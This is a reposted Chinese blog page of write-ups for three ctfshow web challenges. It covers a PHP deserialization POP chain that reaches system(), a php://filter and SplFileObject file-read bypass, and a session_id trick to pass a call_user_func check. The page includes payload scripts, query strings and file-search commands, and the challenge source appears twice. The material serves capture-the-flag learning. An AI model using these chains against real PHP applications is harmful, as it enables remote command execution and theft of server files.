1. ctfshow 擊劍杯 esaypop(反序列化構造pop鏈)
題目地址:https://ctf.show/challenges
題目原始碼:
highlight_file (FILE);
點擊查看代碼
highlight_file (__FILE__);
error_reporting(0);
class action_1{
public $tmp;
public $fun = 'system';
public function __call($wo,$jia){
call_user_func($this->fun);
}
public function __wakeup(){
$this->fun = '';
die("阿祖收手吧,外面有套神");
}
public function __toString(){
return $this->tmp->str;
}
}
class action_2{
public $p;
public $tmp;
public function getFlag(){
if (isset($_GET['ctfshow'])) {
$this->tmp = $_GET['ctfshow'];
}
system("cat /".$this->tmp);
}
public function __call($wo,$jia){
phpinfo();
}
public function __wakeup(){
echo "<br>";
echo "php版本7.3哦,沒有人可以再繞過我了";
echo "<br>";
}
public function __get($key){
$function = $this->p;
return $function();
}
}
class action_3{
public $str;
public $tmp;
public $ran;
public function __construct($rce){
echo "送給你了";
system($rce);
}
public function __destruct(){
urlencode($this->str);
}
public function __get($jia){
if(preg_match("/action_2/",get_class($this->ran))){
return "啥也沒有";
}
return $this->ran->$jia();
}
}
class action_4{
public $ctf;
public $show;
public $jia;
public function __destruct(){
$jia = $this->jia;
echo $this->ran->$jia;
}
public function append($ctf,$show){
echo "<br>";
echo new $ctf($show);
}
public function __invoke(){
$this->append($this->ctf,$this->show);
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$output = unserialize($pop);
if(preg_match("/php/",$output)){
echo "套神黑進這里并給你了一個提示:檔案名是f開頭的形如fA6_形式的檔案";
die("不可以用偽協議哦");
}
}
error_reporting(0);
class action_1{
public $tmp;
public $fun = 'system';
public function __call($wo,$jia){
call_user_func($this->fun);
}
public function __wakeup(){
$this->fun = '';
die("阿祖收手吧,外面有套神");
}
public function __toString(){
return $this->tmp->str;
}
}
class action_2{
public $p;
public $tmp;
public function getFlag(){
if (isset($_GET['ctfshow'])) {
$this->tmp = $_GET['ctfshow'];
}
system("cat /".$this->tmp);
}
public function __call($wo,$jia){
phpinfo();
}
public function __wakeup(){
echo "<br>";
echo "php版本7.3哦,沒有人可以再繞過我了";
echo "<br>";
}
public function __get($key){
$function = $this->p;
return $function();
}
}
class action_3{
public $str;
public $tmp;
public $ran;
public function __construct($rce){
echo "送給你了";
system($rce);
}
public function __destruct(){
urlencode($this->str);
}
public function __get($jia){
if(preg_match("/action_2/",get_class($this->ran))){
return "啥也沒有";
}
return $this->ran->$jia();
}
}
class action_4{
public $ctf;
public $show;
public $jia;
public function __destruct(){
$jia = $this->jia;
echo $this->ran->$jia;
}
public function append($ctf,$show){
echo "<br>";
echo new $ctf($show);
}
public function __invoke(){
$this->append($this->ctf,$this->show);
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$output = unserialize($pop);
if(preg_match("/php/",$output)){
echo "套神黑進這里并給你了一個提示:檔案名是f開頭的形如fA6_形式的檔案";
die("不可以用偽協議哦");
}
}
審計第一步找到有用的執行函式,找到action3里面的system,發現system在action3的解構式中,也就是需要new action()才行,跟進找到action4中的append函式中包含 echo new $ctf($show); 而__invoke()函式呼叫的append,所以我們需要觸發action4中的invoke函式,那就需要找到能將action4當做函式執行的,action2中的__get()方法就可以將控制$p為然后將$p當做函式執行,那么現在問題變成如何觸發__get()方法,剛好action4里面有一句echo $this->ran->$jia;,那么如果讓$ran賦值為類action2,而action2里面沒有$jia,導致了觸發__get()方法,所以這里就是是入口了
pop鏈為:action4中的$this->ran->$jia->action2中的__get()->action4中的__invoke()->append()->action3的system($rce);
然后再看傳參,$rce就是傳過來的$show,,所以$show=需要執行的命令
payload:
$obj4 = new action_4();
$obj2 = new action_2();
$obj4->ran = $obj2;
$obj2->p = $obj4;
$obj4->ran = $obj2;
$obj4->jia = '1';
$obj4->ctf = 'action_3';
$obj4->show = '陳述句';
echo urlencode(serialize($obj4));
這里的陳述句先執行find / -name f[A-z][0-9]_*,因為給的提示并不直接,饒了一下,直接找fA6_*是找不到的,然后發現檔案名為fz3_.txt,再執行cat /fz3.txt(此處是我執行反彈shell失敗了,不然的話不用踩這個檔案名的坑)
ps:本體官方也有wp,不過思路有些不一樣而已,這要是我想大佬咨詢所得,僅當做個人學習的參考~
2. ctfhshow卷王杯 easyweb
打開通過頁面原始碼提示獲得原始碼
第一個繞過,讓c=2^63-2=9223372036854775806(64位機),當++$c時達到int的最大值,這樣$count[] = 1 就會溢位int的范圍從而使得賦值失敗,if陳述句為false
第二個繞過,使用DirectoryIterator類結合glob協議尋找flag:
a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.php,獲得真flag的檔案名
使用SplFileObject結合偽協議讀取flag內容:
a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag檔案名
payload:
1.
c=9223372036854775806&a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.php
2.
c=9223372036854775806&a=SplFileObject&b=php://filter/convert.base64-encode/resource=第一步得到的flag檔案名
ps:還是向大佬咨詢所得,太菜了,啥也不會~
3. ctfshow新春歡樂賽某些題解
-
web2
原始碼如下:點擊查看代碼
<?php highlight_file(__FILE__); session_start(); error_reporting(0); include "flag.php"; if(count($_POST)===1){ extract($_POST); if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){ echo $flag; } } ?>
可以POST傳一個陣列進去,而$$$$$${key($_POST)}這一段代碼實際就是獲得傳進來的陣列的key,也就是鍵值的值...然后作為call_user_func函式的引數,而我們需要該引數可控,可以傳入一對鍵值相等的陣列不就可以達到目的了,比如傳入1=1,那么最后該引數一定是1,看到代碼中有個session_start();,看了下cookie有個PHPSESSID,想到session_id()函式:

那么我們可以修改PHPSESSID=HappyNewYear,然后上傳session_id=session_id就可以通過if了,下面是除錯環節:
這是我修改一點后的本地復現代碼:
點擊查看代碼
<?php
highlight_file(__FILE__);
session_start();
error_reporting(0);
$flag=123;
$sid = session_id();
if(count($_POST)===1){
extract($_POST);
$func = $$$$$${key($_POST)};
if (call_user_func($func)==="HappyNewYear"){
echo $flag;
}
}
傳入引數:

可以清楚看到每個環節的變數的值

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/499056.html
標籤:其他
下一篇:偽靜態頁面的SQL注入
